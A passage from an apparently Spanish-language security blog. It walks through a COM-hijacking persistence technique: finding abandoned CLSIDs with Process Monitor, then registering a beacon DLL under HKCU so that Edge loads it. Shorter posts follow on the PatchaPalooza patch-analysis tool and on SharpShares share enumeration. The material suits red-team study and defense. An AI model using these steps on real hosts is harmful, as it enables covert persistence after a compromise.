de intentar obtener persistencia en equipo comprometido siempre se nos viene a la cabeza añadir una tarea programada, un enlace directo en la carpeta de inicio, entradas en el registro de AutoRun... ¡¡pero qué pasa con los objetos COM!! <i>¡Paul pónmelo!</i></p><p><i></i></p><div class="separator" style="clear: both; text-align: center;"><i><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpntLoQHhm4QzSY5f8h3GSKTLpIjvZlQIkG6YYbUru0qODdQXAztEXtbryLdHbeuZdHD-I0wSSa_JdIscyNWOPuM1dIJrIvCc_UlNSOgLAVznZG_tGwygDj-KntqialVFnydFIKWS9sx8ReKPFRcthIf0Wg3u5iyzaPViH4ZEV0xejYSyuaB8kzLLo2MB/s498/confuso.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="498" data-original-width="498" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjpntLoQHhm4QzSY5f8h3GSKTLpIjvZlQIkG6YYbUru0qODdQXAztEXtbryLdHbeuZdHD-I0wSSa_JdIscyNWOPuM1dIJrIvCc_UlNSOgLAVznZG_tGwygDj-KntqialVFnydFIKWS9sx8ReKPFRcthIf0Wg3u5iyzaPViH4ZEV0xejYSyuaB8kzLLo2MB/w200-h200/confuso.gif" width="200" /></a></i></div><p></p><p><b>Para, para... ¿pero qué son los objetos COM? </b><a name='more'></a><br /></p><p>Los objetos COM (Component Object Model) en Windows son una tecnología
de programación desarrollada por Microsoft que se utiliza para permitir
la comunicación y la interoperabilidad entre componentes de software en
un entorno de sistema operativo Windows. Los objetos COM son una forma
de encapsular la funcionalidad de un programa en un objeto que puede ser
utilizado por otros programas de manera eficiente y consistente.</p><p><b>¿Me podrías dar un ejemplo de cómo se usan?</b></p><p>Claro, aquí tienes un ejemplo simple de cómo se crea y utiliza un objeto COM en un lenguaje de programación como C++ en un entorno Windows:</p><p>Supongamos que deseas crear un objeto COM que proporcione una funcionalidad matemática básica, como la suma de dos números. Primero, debes definir una interfaz COM que describa los métodos y propiedades que el objeto va a exponer. Luego, implementar una clase que cumpla con esa interfaz y registra el objeto COM en el Registro de Windows. </p><p>A continuación, se muestra un ejemplo de cómo podrías hacerlo:</p><ol><li>Define la interfaz COM (por ejemplo, en un archivo de lenguaje de definición de componentes, .idl):</li></ol><pre><div class="bg-black rounded-md"><div class="p-4 overflow-y-auto"><code class="!whitespace-pre hljs language-idl"><span style="font-size: small;">import "oaidl.idl";
import "ocidl.idl";
[uuid(12345678-1234-1234-1234-1234567890AB)]
interface ICalculator : IUnknown {
HRESULT Add([in] int a, [in] int b, [out, retval] int* result);
};</span>
</code></div></div></pre><ol start="2"><li>Implementa la interfaz en una clase C++:</li></ol><pre><div class="bg-black rounded-md"><div class="flex items-center relative text-gray-200 bg-gray-800 gizmo:dark:bg-token-surface-primary px-4 py-2 text-xs font-sans justify-between rounded-t-md"><span></span></div></div></pre><pre><div class="bg-black rounded-md"><div class="p-4 overflow-y-auto"><code class="!whitespace-pre hljs language-cpp"><span style="font-size: small;"><span class="hljs-keyword">class</span> <span class="hljs-title class_">CCalculator</span> : <span class="hljs-keyword">public</span> ICalculator {
<span class="hljs-keyword">public</span>:
<span class="hljs-comment">// Implementación del método Add</span>
<span class="hljs-built_in">STDMETHOD</span>(Add)(<span class="hljs-type">int</span> a, <span class="hljs-type">int</span> b, <span class="hljs-type">int</span>* result) {
*result = a + b;
<span class="hljs-keyword">return</span> S_OK;
}
<span class="hljs-comment">// Implementación de las funciones de gestión de la interfaz COM (QueryInterface, AddRef, Release)</span>
<span class="hljs-built_in">STDMETHOD</span>(QueryInterface)(REFIID riid, <span class="hljs-type">void</span>** ppv);
<span class="hljs-built_in">STDMETHOD_</span>(ULONG, AddRef)();
<span class="hljs-built_in">STDMETHOD_</span>(ULONG, Release)();
};</span>
</code></div></div></pre><ol start="3"><li><p>Registra el objeto COM en el Registro de Windows utilizando herramientas como <code>regsvr32</code>.</p></li><li><p>Ahora, puedes utilizar este objeto COM desde una aplicación cliente (por ejemplo, en C++):</p></li></ol><pre><div class="bg-black rounded-md"></div></pre><pre><div class="bg-black rounded-md"><div class="p-4 overflow-y-auto"><code class="!whitespace-pre hljs language-cpp"><span style="font-size: small;">ICalculator* pCalculator = <span class="hljs-literal">nullptr</span>;
HRESULT hr = <span class="hljs-built_in">CoCreateInstance</span>(CLSID_MiObjetoCOM, <span class="hljs-literal">nullptr</span>, CLSCTX_INPROC_SERVER, IID_ICalculator, (<span class="hljs-type">void</span>**)&pCalculator);
<span class="hljs-keyword">if</span> (<span class="hljs-built_in">SUCCEEDED</span>(hr)) {
<span class="hljs-type">int</span> result;
pCalculator-><span class="hljs-built_in">Add</span>(<span class="hljs-number">5</span>, <span class="hljs-number">3</span>, &result);
<span class="hljs-comment">// El valor de 'result' ahora contiene 8</span>
pCalculator-><span class="hljs-built_in">Release</span>();
}</span>
</code></div></div></pre><p>En este ejemplo, <code>CoCreateInstance</code> se utiliza para crear una instancia del objeto COM, y luego puedes llamar al método <code>Add</code> de la interfaz <code>ICalculator</code> para realizar la suma. Después de utilizar el objeto, debes llamar al método <code>Release</code> para liberar los recursos.</p><p>Este es un ejemplo simplificado para ilustrar el concepto de objetos COM. La implementación real de objetos COM puede ser más compleja y puede implicar un manejo adecuado de la administración de memoria y la gestión de errores.</p><div class="flex flex-grow flex-col gap-3 max-w-full"><div class="min-h-[20px] flex flex-col items-start gap-3 whitespace-pre-wrap break-words overflow-x-auto" data-message-author-role="user" data-message-id="aaa2adf6-a8c9-445d-b6b5-86dde9966227"><div class=""><b>¿Y cuáles son los objetos COM más típicos de Windows?</b></div></div></div><div class="flex flex-grow flex-col gap-3 max-w-full"><div class="min-h-[20px] flex flex-col items-start gap-3 whitespace-pre-wrap break-words overflow-x-auto" data-message-author-role="assistant" data-message-id="012779f3-ad81-4ca4-b41a-39d5b33653f6"><div class="markdown prose w-full break-words dark:prose-invert dark"><p>Windows ha utilizado y sigue utilizando una amplia variedad de objetos COM en su infraestructura y aplicaciones. Algunos de los objetos COM más típicos y ampliamente utilizados en el entorno de Windows incluyen:</p><ol><li><p><strong>ActiveX:</strong> Los controles ActiveX son objetos COM utilizados en aplicaciones web y de escritorio para proporcionar funcionalidades específicas, como reproductores multimedia, controles de formularios, visualizadores de documentos, etc.</p></li><li><p><strong>ADO (ActiveX Data Objects):</strong> ADO es una biblioteca de objetos COM utilizada para acceder a bases de datos y realizar operaciones relacionadas con datos. Se utiliza comúnmente en aplicaciones de bases de datos y scripting.</p></li><li><p><strong>COM Automation:</strong> Se utiliza para automatizar aplicaciones de Windows y permite la comunicación entre aplicaciones a través de objetos COM. Esto es esencial para la automatización de aplicaciones como Microsoft Office.</p></li><li><p><strong>DirectX:</strong> DirectX es un conjunto de APIs para multimedia y gráficos en Windows. Muchas de sus API están basadas en objetos COM, y se utilizan en el desarrollo de juegos y aplicaciones multimedia.</p></li><li><p><strong>Shell Namespace Extension:</strong> Estos objetos COM permiten extender el Explorador de Windows y proporcionar vistas personalizadas y operaciones específicas para carpetas y archivos. Se utilizan para crear extensiones de shell como los iconos de Google Drive o Dropbox en el Explorador de Windows.</p></li><li><p><strong>OLE (Object Linking and Embedding):</strong> OLE es una tecnología que permite la inserción y vinculación de objetos en documentos de aplicaciones de productividad, como Microsoft Word y Excel. Los objetos OLE son objetos COM.</p></li><li><p><strong>Windows Management Instrumentation (WMI):</strong> WMI es una infraestructura de administración de Windows que utiliza objetos COM para proporcionar información y configuración del sistema. Es ampliamente utilizado en administración de sistemas y monitoreo.</p></li><li><p><strong>Active Directory Services Interface (ADSI):</strong> ADSI es una interfaz de objetos COM que se utiliza para administrar y consultar directorios de servicios de directorio, como Active Directory en entornos de red de Windows.</p></li><li><p><strong>Windows Script Host (WSH):</strong> WSH es un entorno de ejecución de scripts en Windows que utiliza objetos COM para proporcionar acceso a una variedad de recursos del sistema, como el Registro de Windows y la red.</p></li></ol><p>Estos son solo algunos ejemplos de objetos COM típicos en Windows. La tecnología COM ha sido fundamental en el desarrollo de aplicaciones Windows y la interoperabilidad entre componentes de software en el sistema operativo. Sin embargo, en los últimos años, se han introducido enfoques más modernos y simplificados, como .NET y UWP, que han reducido la necesidad de trabajar directamente con objetos COM en el desarrollo de aplicaciones modernas.</p><p><b>Ok, ok.. como te enrollas.... vamos al turrón. ¿Cómo puedo usar objetos COM para conseguir persistencia en un host comprometido?</b></p><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">En lugar de secuestrar objetos COM que están en uso y romper aplicaciones que dependen de ellos, una estrategia más segura es encontrar instancias de aplicaciones que intentan cargar objetos que en realidad no existen (las llamadas keys "abandonadas").</span></span><span class="jCAhz"><span class="ryNqvb">
</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Para encontrarlas, viene al rescate <b>Process Monitor </b>de la excelente suite de Sysinternals. Ya sabéis, un programita que nos puede </span></span><span class="jCAhz ChMk0b"><span class="ryNqvb">mostrar la actividad del proceso, el registro y el sistema de archivos en tiempo real y es muy útil para encontrar diferentes tipos de primitivas de escalada de privilegios.</span></span><span class="jCAhz"><span class="ryNqvb">
</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></div><div class="lRu31"><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Si ejecutamos</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb"> procmon64.exe en la máquina, d</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb">ebido a la gran cantidad de eventos generados, lo mejor es </span></span>filtrar para no volvernos locos:</span></div><div class="lRu31"><span class="HwtZe" lang="es"> </span></div><div class="lRu31"><span class="HwtZe" lang="es"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQoBLSYJH6dv55ri_NZwd5UIcA9ZVuQicy_vOF2Ef0MENp-k_-64579Hj6Ttuglu91UQ3LlfW1wQGYngLtcBor2B5WEA09YCB3ueG1MB2FufTPqzCkaNVbCe059vJTb9l_mWmOV3sXbxZzo4bI6pUeGEv1g-Sjh2vCJKKqOK1Hb-Uj2PKZaUW6PMiCJl_V/s588/ProcessMonitorfiltro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="588" height="376" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQoBLSYJH6dv55ri_NZwd5UIcA9ZVuQicy_vOF2Ef0MENp-k_-64579Hj6Ttuglu91UQ3LlfW1wQGYngLtcBor2B5WEA09YCB3ueG1MB2FufTPqzCkaNVbCe059vJTb9l_mWmOV3sXbxZzo4bI6pUeGEv1g-Sjh2vCJKKqOK1Hb-Uj2PKZaUW6PMiCJl_V/w640-h376/ProcessMonitorfiltro.png" width="640" /></a></div></span></div><div class="lRu31"><span class="HwtZe" lang="es"> </span></div><div class="lRu31"><span class="HwtZe" lang="es">Como veis, un filtro para ver las keys con </span>una referencia a
"InProcServer" en el path de una operación, que se refiere a un servidor COM
que se carga en el proceso actual.</div><div class="lRu31"><span class="HwtZe" lang="es"> </span></div>Antes de elegir nuestro objeto COM, u<span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">n aspecto a tener en cuenta es la cantidad de veces que se carga un CLSID </span></span></span>(Component Object Model (COM) Class IDentifier) <span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">en particular.</span></span> </span><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">¿Por qué? Porque si secuestramos uno que se carga cada dos segundos, lo pasaremos mal, por lo que se recomienda intentar encontrar uno que se cargue con poca frecuencia o que se cargue cuando sea una aplicación de uso común (</span></span> <span class="jCAhz ChMk0b"><span class="ryNqvb">Se abre Word, Excel, Outlook, etc.).</span></span><span class="jCAhz"><span class="ryNqvb"> </span></span></span></div><div class="markdown prose w-full break-words dark:prose-invert dark"><span class="HwtZe" lang="es"><span class="jCAhz"><span class="ryNqvb"> </span></span></span></div><div class="markdown prose w-full break-words dark:prose-invert dark"><span class="HwtZe" lang="es"><span class="jCAhz"><span class="ryNqvb">En nuestro caso veamos abriendo el navegador Edge:</span></span></span></div><div class="markdown prose w-full break-words dark:prose-invert dark"><span class="HwtZe" lang="es"><span class="jCAhz"><span class="ryNqvb"> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZKeNnef-SVluwLgfCO-Z62mg3ZtHACk5UE0VMFZfhd6G3wqj1z5_FOD5Gz5epyhWYEDTerO8pS4uxfANXqhO79d4sSO64AcsZX_RCpkUpftkt3SJkm78FI7VBHog1_3YPe-oH8zCqCb7T0KVy9zj0mxxUHaecc9P8cWNeMNlFjUxtXpm1mmwEA_BniQta/s1415/ProcessMonitorNOTFOUND.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="736" data-original-width="1415" height="332" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZKeNnef-SVluwLgfCO-Z62mg3ZtHACk5UE0VMFZfhd6G3wqj1z5_FOD5Gz5epyhWYEDTerO8pS4uxfANXqhO79d4sSO64AcsZX_RCpkUpftkt3SJkm78FI7VBHog1_3YPe-oH8zCqCb7T0KVy9zj0mxxUHaecc9P8cWNeMNlFjUxtXpm1mmwEA_BniQta/w640-h332/ProcessMonitorNOTFOUND.png" width="640" /></a></div><br /></span></span></span><span class="HwtZe" lang="es"> Ahora mediante Powershell observamos que esa entrada existe en HKLM pero no en HKCU:</span></div><div class="markdown prose w-full break-words dark:prose-invert dark"><span class="HwtZe" lang="es"><br /></span><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIJvyuGbALZ0dvZpg-81XmdFhGDJ9MsqgRR5t0_18K7Tq72bTDQjeVNPzDy0te-mxuYhSOlLESEBrobiOCmdV0-RKLASaWcQuzF-ps5uWJdS1MPca-fvQWevd7i3U-6RbZGgQl8CS5NaZGJBbY-JEliOOa1O9B_U80hs0IATetBVRJEHeF3Vqzvciwwvt7/s1107/ProcessMonitorGetItem.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="492" data-original-width="1107" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIJvyuGbALZ0dvZpg-81XmdFhGDJ9MsqgRR5t0_18K7Tq72bTDQjeVNPzDy0te-mxuYhSOlLESEBrobiOCmdV0-RKLASaWcQuzF-ps5uWJdS1MPca-fvQWevd7i3U-6RbZGgQl8CS5NaZGJBbY-JEliOOa1O9B_U80hs0IATetBVRJEHeF3Vqzvciwwvt7/w640-h284/ProcessMonitorGetItem.png" width="640" /></a></div></div><div class="markdown prose w-full break-words dark:prose-invert dark"></div><div class="markdown prose w-full break-words dark:prose-invert dark"></div><div class="markdown prose w-full break-words dark:prose-invert dark"><p>Así que nos la han dejado botando....<span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Para explotar esto, podemos crear las entradas de registro necesarias en HKCU y apuntarlas a una DLL de nuestro beacon, en el ejemplo en</span></span><span class="jCAhz ChMk0b"><span class="ryNqvb"> C:\Payloads\http_x64.dll.</span></span></span></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"></span></span></span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhJx3Ax2xHSpzMFTFN18yY7QprntPGZ1rqjBX2ahJUhO-4HsOPmRX_sUjocVP3hqkxoB_s1EQDlbqA0cdthrez7wGCIfq8J6Lphmyj1BwcLc9rNYZlx7ENEM_OGsC5CzlKeT5Bb2UubOwu79G65Su0szPWJ8rpAzu8lytRfF5IZ2QX1Bsd79doElrZALGh/s1033/addcombeacon1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="199" data-original-width="1033" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhJx3Ax2xHSpzMFTFN18yY7QprntPGZ1rqjBX2ahJUhO-4HsOPmRX_sUjocVP3hqkxoB_s1EQDlbqA0cdthrez7wGCIfq8J6Lphmyj1BwcLc9rNYZlx7ENEM_OGsC5CzlKeT5Bb2UubOwu79G65Su0szPWJ8rpAzu8lytRfF5IZ2QX1Bsd79doElrZALGh/w640-h124/addcombeacon1.png" width="640" /></a></div> <span class="ZSCsVd"></span><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh75UMsV3D25oFGlzJJJLlyQybPoBiNlwDkQOp9o9j8cFB0nlytCRJmaxBiQG5-bOkS8Dh1V5fG7ixEQ0n8yX2KKamm2RU92ljVBdFwuylBxQgpvWUx9kYieMbWID8we-RL9M5K-9vvF3CpYDNF3g0JGhewaZUpzaeWbIweYFgzpjWV4wixN-T7jcarnUwH/s1474/addcombeacon2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="191" data-original-width="1474" height="82" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh75UMsV3D25oFGlzJJJLlyQybPoBiNlwDkQOp9o9j8cFB0nlytCRJmaxBiQG5-bOkS8Dh1V5fG7ixEQ0n8yX2KKamm2RU92ljVBdFwuylBxQgpvWUx9kYieMbWID8we-RL9M5K-9vvF3CpYDNF3g0JGhewaZUpzaeWbIweYFgzpjWV4wixN-T7jcarnUwH/w640-h82/addcombeacon2.png" width="640" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgevpS42NJClVWpftbYPYqgJk-0wVWPUeAEgkPz5uZo39hymKnxjlt5tunvTqqWezIxlkVK6Ov-jNeat5qdAqYeYFFN55srIbRDTT0fT9_TErI7rwlv0aj-TTupMpleO_ilIEnLQw86lSrQ4QLOV2hHjO5weTn6veSdjYg35SoKKk3ENB3_Bo01nwOM3YrZ/s1518/addcombeacon3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="184" data-original-width="1518" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgevpS42NJClVWpftbYPYqgJk-0wVWPUeAEgkPz5uZo39hymKnxjlt5tunvTqqWezIxlkVK6Ov-jNeat5qdAqYeYFFN55srIbRDTT0fT9_TErI7rwlv0aj-TTupMpleO_ilIEnLQw86lSrQ4QLOV2hHjO5weTn6veSdjYg35SoKKk3ENB3_Bo01nwOM3YrZ/w640-h78/addcombeacon3.png" width="640" /></a></div><br /><div class="kO6q6e">Como veis creamos la entrada y asignamos el valor "Both" a la propiedad
"ThreadingModel", indicando que el objeto COM puede ser utilizado en hilos de un
solo subproceso (STA, Single-Threaded Apartment) o en hilos
multiproceso (MTA, Multi-Threaded Apartment).</div><div class="kO6q6e"> </div><div class="kO6q6e"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizxGrXru0aQjs7YRQszaIbKWJcRT5lA-wGjiFTwUqeXzTNz_3jcGLovG9K-F7Z4WpzQBsZ2TZtZC4X7Rono_3s6QSbmGx7YME297K3RKlnLViajPdmAthWRFEy8OzWXEmtPwjgfKG4sqXwQ2WgKYbOxW-m0MJ_M5U2k0BE5dNHHQs1g-GNmrcYp8kL-At8/s1116/addcombeacon4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="204" data-original-width="1116" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizxGrXru0aQjs7YRQszaIbKWJcRT5lA-wGjiFTwUqeXzTNz_3jcGLovG9K-F7Z4WpzQBsZ2TZtZC4X7Rono_3s6QSbmGx7YME297K3RKlnLViajPdmAthWRFEy8OzWXEmtPwjgfKG4sqXwQ2WgKYbOxW-m0MJ_M5U2k0BE5dNHHQs1g-GNmrcYp8kL-At8/w640-h116/addcombeacon4.png" width="640" /></a></div></div><div class="kO6q6e"> </div><div class="kO6q6e">Cuando abramos de nuevo Edge e intente cargar el objeto COM recién creado recibiremos nuestro beacon:</div><div class="kO6q6e"> </div><div class="kO6q6e"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq7pom9Vx2ABs3FUhXiXmAOZky9UFc9P59Lu1tFgb-DLb9YKFyHBGDv-f9dojy9cSblyaZwKKyYxcEPwOhs8dLYa-0N-YUOIAA_W3DUXnIoJXnzgvgUs-NXmGaswM2H44Q4bxejRD1DpVfxH36H7PKOTBjpFmkBnb_Zm7fW1jnq5jhYVnWPtCb2VJ1SOE_/s1717/beaconreceived.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="195" data-original-width="1717" height="72" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq7pom9Vx2ABs3FUhXiXmAOZky9UFc9P59Lu1tFgb-DLb9YKFyHBGDv-f9dojy9cSblyaZwKKyYxcEPwOhs8dLYa-0N-YUOIAA_W3DUXnIoJXnzgvgUs-NXmGaswM2H44Q4bxejRD1DpVfxH36H7PKOTBjpFmkBnb_Zm7fW1jnq5jhYVnWPtCb2VJ1SOE_/w640-h72/beaconreceived.png" width="640" /></a></div></div><div class="kO6q6e"></div><div class="kO6q6e"> </div><div class="kO6q6e">Y ya volvemos a tener <i>party time ;)<br /></i></div><div class="kO6q6e"><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhoIx_rUtLec6eBruGSCtbbVda-_0sI1R_pVyhlEy_CqIwJcGOVBn2WXdPo_7jIDHvETDlFRJ-QO8rxSlmz2CkSYsNRYm-6FbYO0_CjNsuuZSttA9iFhPKIvpQCav_q6Ywmd1MP7LrtvMgwawtXqNFEWLfqnFV_mFDtedZpYp6E2dUIQV0kEX2LxolV7XV/s480/fxt5.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="480" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhoIx_rUtLec6eBruGSCtbbVda-_0sI1R_pVyhlEy_CqIwJcGOVBn2WXdPo_7jIDHvETDlFRJ-QO8rxSlmz2CkSYsNRYm-6FbYO0_CjNsuuZSttA9iFhPKIvpQCav_q6Ywmd1MP7LrtvMgwawtXqNFEWLfqnFV_mFDtedZpYp6E2dUIQV0kEX2LxolV7XV/w400-h210/fxt5.gif" width="400" /></a></div><br /></div></div></div></div><p></p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com1tag:blogger.com,1999:blog-9133539773684103848.post-84769764766042066632023-10-29T22:49:00.004+01:002023-10-29T22:49:41.218+01:00Patch-A-Palooza: análisis de parches de seguridad de Microsoft desde la línea de comandos <p>Pa<span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">tchaPalooza de Alexander Hagenah es una herramienta que utiliza la API MSRC CVRF de Microsoft para buscar, almacenar y analizar datos de actualizaciones de seguridad.</span></span> </span></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb">Ofrece una experiencia optimizada para aquellos que requieren una descripción general rápida pero también detallada de las vulnerabilidades, su estado de explotación y más.</span></span> <span class="jCAhz ChMk0b"><span class="ryNqvb">Esta herramienta funciona completamente offline una vez que se han obtenido los datos, lo que garantiza que sus análisis puedan continuar incluso sin conexión a Internet.</span></span></span></p><pre>python PatchaPalooza.py --update<span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"> </span></span></span></pre><pre>python PatchaPalooza.py --month YYYY-MMM</pre><pre><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpD4YzMXGpTqy8kKnCdcbtHnNfQrjOnBBZhRM-6e3rnV4s48DghmEhvt7gwxYrYRLcQDBehWjKwl6j43DS3dncBo4L3etH-LNSBvoxLURcjE5HEiJifd6SZ1cLOKPPh0IALaUoKMOSWVE-yfdGIGrB6TKSNyjLwCQ9-bFWVwiq0rTLER32JIroMj4dp0KX/s1039/PatchaPalooza01.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="999" data-original-width="1039" height="616" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpD4YzMXGpTqy8kKnCdcbtHnNfQrjOnBBZhRM-6e3rnV4s48DghmEhvt7gwxYrYRLcQDBehWjKwl6j43DS3dncBo4L3etH-LNSBvoxLURcjE5HEiJifd6SZ1cLOKPPh0IALaUoKMOSWVE-yfdGIGrB6TKSNyjLwCQ9-bFWVwiq0rTLER32JIroMj4dp0KX/w640-h616/PatchaPalooza01.png" width="640" /></a></div></pre><pre>python PatchaPalooza.py --detail CVE-ID</pre><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6j0dCS4wpZyXBlPYdYPbMk-Ow9KyC8mVK0R0RjH3uDGAq1lFwP62YscGP3Y2vhtbZ1645wlnkw7ElKN4GtRiAkMIb6usVnxMLdM_nSpaDm0Fi_iWHKKmnNtMRQLQ9uFgJXWdjbyAYI-1C5Oj6MyI5nXtYqGjOvmEDcpsdVAwkeVnW39OxopMU_nEO14CJ/s1714/PatchaPalooza02.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="199" data-original-width="1714" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6j0dCS4wpZyXBlPYdYPbMk-Ow9KyC8mVK0R0RjH3uDGAq1lFwP62YscGP3Y2vhtbZ1645wlnkw7ElKN4GtRiAkMIb6usVnxMLdM_nSpaDm0Fi_iWHKKmnNtMRQLQ9uFgJXWdjbyAYI-1C5Oj6MyI5nXtYqGjOvmEDcpsdVAwkeVnW39OxopMU_nEO14CJ/w640-h74/PatchaPalooza02.png" width="640" /></a></div><p></p><pre>python PatchaPalooza.py --stats</pre><pre><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidPTTaeFWq6tf54qrIhNLgS7kNSE3RcdMFSunim4pNbC78feOr4QgZivSj7eoRH9I-ScyYxBL4cZz18dFUuSnk2DDMc4c1TSHIi72soFngIxDJp6zGb9GoTOjoXkUMlmWVDQv-OPb7TYfkxh8K_5tzlJDodJww53EzieqfoCH_AQENnnZmHEPFz00f16YM/s618/PatchaPalooza03.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="526" data-original-width="618" height="544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidPTTaeFWq6tf54qrIhNLgS7kNSE3RcdMFSunim4pNbC78feOr4QgZivSj7eoRH9I-ScyYxBL4cZz18dFUuSnk2DDMc4c1TSHIi72soFngIxDJp6zGb9GoTOjoXkUMlmWVDQv-OPb7TYfkxh8K_5tzlJDodJww53EzieqfoCH_AQENnnZmHEPFz00f16YM/w640-h544/PatchaPalooza03.png" width="640" /></a></div></pre><p></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"><b>Proyecto</b>: <a href="https://github.com/xaitax/PatchaPalooza">https://github.com/xaitax/PatchaPalooza</a></span></span></span></p><p><span class="HwtZe" lang="es"><span class="jCAhz ChMk0b"><span class="ryNqvb"><b>Versión web:</b> <a href="https://patchapalooza.com/">https://patchapalooza.com/<br /></a></span></span></span></p>Vicente Motoshttp://www.blogger.com/profile/03053036399006390105noreply@blogger.com0tag:blogger.com,1999:blog-9133539773684103848.post-91121746766171935342023-10-27T23:01:00.001+02:002023-10-27T23:01:05.810+02:00SharpShares: herramienta para enumerar unidades compartidas en el dominio<p style="text-align: left;"></p><div class="separator" style="clear: both;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7HlpQqf_ChYnSqRvu6EVTRbkcceku1TKJHzh5UnMTBzJJSWeIklrj95g9_TayE_5o-KvbGX9iMYGvTdOi5L263PSMBe2VOveHVN4nVo-Vxt3UrjNlzpOUQARp-dvDFxz9XqTZsJzAhC28KAlxsaEDIfmGaizrtDYFftDx5DSD6Rz3U5MmsBmGKA-S7d0P/s800/windows_folder.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" data-original-height="800" data-original-width="800" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7HlpQqf_ChYnSqRvu6EVTRbkcceku1TKJHzh5UnMTBzJJSWeIklrj95g9_TayE_5o-KvbGX9iMYGvTdOi5L263PSMBe2VOveHVN4nVo-Vxt3UrjNlzpOUQARp-dvDFxz9XqTZsJzAhC28KAlxsaEDIfmGaizrtDYFftDx5DSD6Rz3U5MmsBmGKA-S7d0P/w200-h200/windows_folder.png" width="200" /></a>SharpShares es una herramienta de código abierto escrita en C# que se utiliza para enumerar las unidades compartidas accesibles en un dominio. Es una herramienta que tiene ya sus añitos pero es bastante rápida (multiproceso), eficiente y perfectamente válida para un red team.</div><p></p><p data-sourcepos="3:1-3:54">SharpShares tiene varias características, entre ellas:</p><ul 